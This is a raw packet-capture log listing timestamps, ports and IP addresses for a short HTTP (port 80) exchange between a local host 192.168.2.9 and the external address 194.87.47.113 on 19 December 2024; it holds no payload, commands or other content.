Dec 19, 2024 08:01:05.862566948 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.862627983 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.862638950 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.862665892 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.863713980 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.863738060 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.863749981 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.863753080 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.863847971 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.864481926 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.864504099 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.864516020 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.864545107 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.865421057 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.865464926 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.865478039 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.865508080 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.865523100 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.866367102 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.866415024 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.866426945 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.866456032 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.867345095 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.867388964 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.867398977 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.867423058 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.867445946 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.868283033 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.868330002 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.868340969 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.868362904 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.869246960 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.869297981 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.869308949 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.869338036 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.869363070 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.870167017 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.870227098 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.870238066 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.870316029 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.871134043 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.871191025 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.871201992 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.871233940 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.871263981 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.872092962 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.872143030 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.872153997 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.872188091 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.873085022 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.873095036 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.873106956 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.873133898 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.873156071 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.874039888 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.874085903 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.874097109 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.874118090 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.920041084 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.003849030 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.003920078 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.003973007 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.004004002 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.004069090 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.004117012 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.004163027 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.004170895 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.005017042 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.005068064 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.005129099 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.005162954 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.005173922 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.005950928 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.006004095 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.006038904 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.006050110 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.006072998 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.006932974 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.006968975 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.007026911 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.038388014 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.038458109 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.038469076 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.038531065 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.038983107 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.039024115 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.039036989 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.039077044 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.039798975 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.039859056 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.039870977 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.039920092 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.040800095 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.040822029 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.040832996 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.040869951 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.041922092 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.041979074 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.041990995 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.042026997 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.042705059 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.042725086 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.042737007 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.042752981 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.042777061 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.043661118 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.043710947 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.043746948 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.043765068 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.044579983 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.044632912 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.044667006 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.044684887 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.044708014 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.045614004 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.045666933 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.045701027 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.045752048 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.046628952 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.046662092 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.046698093 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.046710968 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.046876907 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.047451019 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.047503948 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.047538042 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.047554970 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.048424006 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.048499107 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.048533916 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.048563957 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.049355030 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.049406052 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.049408913 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.049443960 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.049458981 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.050363064 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.050424099 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.050478935 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.050514936 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.050561905 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.051230907 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.051285982 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.051340103 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.051359892 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.052191973 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.052246094 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.052278996 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.052303076 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.052330971 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.053144932 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.053210974 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.053245068 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.053276062 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.054125071 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.054178953 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.054213047 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.054235935 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.054260015 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.055067062 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.055119038 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.055151939 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.055243015 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.056025982 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.056078911 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.056113005 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.056135893 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.056159973 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.056971073 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.057024956 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.057058096 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.057097912 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.057925940 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.057960033 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.057993889 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.058015108 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.058041096 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.058849096 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.058902979 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.058938980 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.058975935 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.059806108 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.059861898 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.059895039 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.059919119 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.059947014 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.060786963 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.060839891 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.060874939 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.060916901 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.061712027 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.061834097 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.061868906 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.061892033 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.061919928 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.062658072 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.062712908 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.062747002 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.062778950 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.063611984 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.063664913 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.063699007 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.063723087 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.063747883 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.064526081 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.064580917 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.064615011 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.064656019 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.065713882 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.065768957 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.065804005 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.065826893 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.065851927 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.066468000 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.066524982 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.066559076 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.066576958 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.107634068 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.195883989 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.195915937 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.195930958 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.196017027 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.196234941 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.196297884 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.196311951 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.196360111 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.197155952 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.197206974 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.197221041 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.197257042 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.198127031 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.198170900 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.198178053 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.198191881 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.198229074 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.199086905 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.199147940 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.199203014 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.230937958 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.230978966 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.230992079 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.231195927 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.231237888 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.231287003 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.231298923 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.231331110 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.232074022 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.232130051 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.232141972 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.232187033 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.233012915 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.233055115 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.233067036 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.233118057 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.234040022 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.234060049 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.234071970 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.234119892 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.234916925 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.234971046 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.234982014 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.235029936 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.235902071 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.235945940 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.235956907 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.235996008 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.236877918 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.236952066 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.236963987 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.237005949 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.237827063 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.237869024 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.237880945 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.237916946 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.238729000 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.238765955 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.238775969 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.238778114 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.239676952 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.239718914 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.239723921 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.239731073 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.239785910 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.240624905 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.240667105 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.240674019 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.240679026 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.240725040 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.241581917 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.241631031 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.241641998 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.241681099 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.242522955 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.242554903 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.242567062 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.242594957 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.242610931 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.243463993 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.243504047 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.243515015 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.243561029 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.244434118 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.244462967 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.244468927 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.244515896 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.245548010 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.245568991 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.245585918 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.245625019 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.246309996 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.246356964 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.246365070 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.246376991 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.246419907 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.247267962 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.247292042 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.247303963 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.247339010 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.248229980 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.248277903 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.248290062 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.248321056 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.249180079 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.249226093 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.249238014 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.249279976 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.250137091 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.250211954 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.250222921 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.250267982 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.251100063 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.251125097 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.251136065 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.251188040 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.252079010 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.252089977 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.252108097 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.252145052 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.252166986 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.253022909 CET	80	49739	194.87.47.113	192.168.2.9
